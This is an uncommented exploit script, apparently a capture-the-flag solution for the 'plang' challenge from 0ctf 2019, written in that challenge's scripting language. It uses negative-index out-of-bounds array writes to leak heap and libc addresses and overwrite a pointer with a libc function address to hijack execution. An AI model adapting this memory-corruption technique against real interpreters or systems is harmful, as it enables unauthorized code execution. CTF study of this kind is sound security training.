exploit of plang chall from 0ctf2019

x.js

fun int2double(xint)  {  var i = 0  while(i< 1074) { xint = xint / 2 i = i + 1} return xint }
fun double2int(xd)  {  var i = 0  while(i< 1074) { xd = xd + xd i = i + 1} return xd }

fun shift(xint,x) { var i = 0	while(i<x) { xint = xint + xint  i = i + 1} return xint }

var c = -30
var x = -114
var y = -115
var a = [101,1,1,1,1,1,1,1,1,1]
var b = [1011,2,"chuj",3,4]
b[c] = 101.00000023748726

b[x] = int2double(0xdeadbeef)
c =   (b[2].byteAt_(59)<<24)  |  (b[2].byteAt_(58)<<16)  |  (b[2].byteAt_(57)<<8)  |  b[2].byteAt_(56) 
c = c + shift(b[2].byteAt_(60),32)
c = c + shift(b[2].byteAt_(61),40)
c = c - 0xf990
c = c - 8

System.print(c)
b[y] = int2double(c)
a[0] = int2double(4)



c = c + 8
b[y] = int2double(c)
var libc = double2int(a[0]) - 0x1beb20
System.print(libc)

c = c + 0x95c8
c = c -8

b[y] = int2double(c)
a[0] = int2double(libc + 0xe7660)

c = c - 8
b[y] = int2double(c)
a[0] = int2double(1)

c = c + 8
b[y] = int2double(c)
System.print(Num.pi)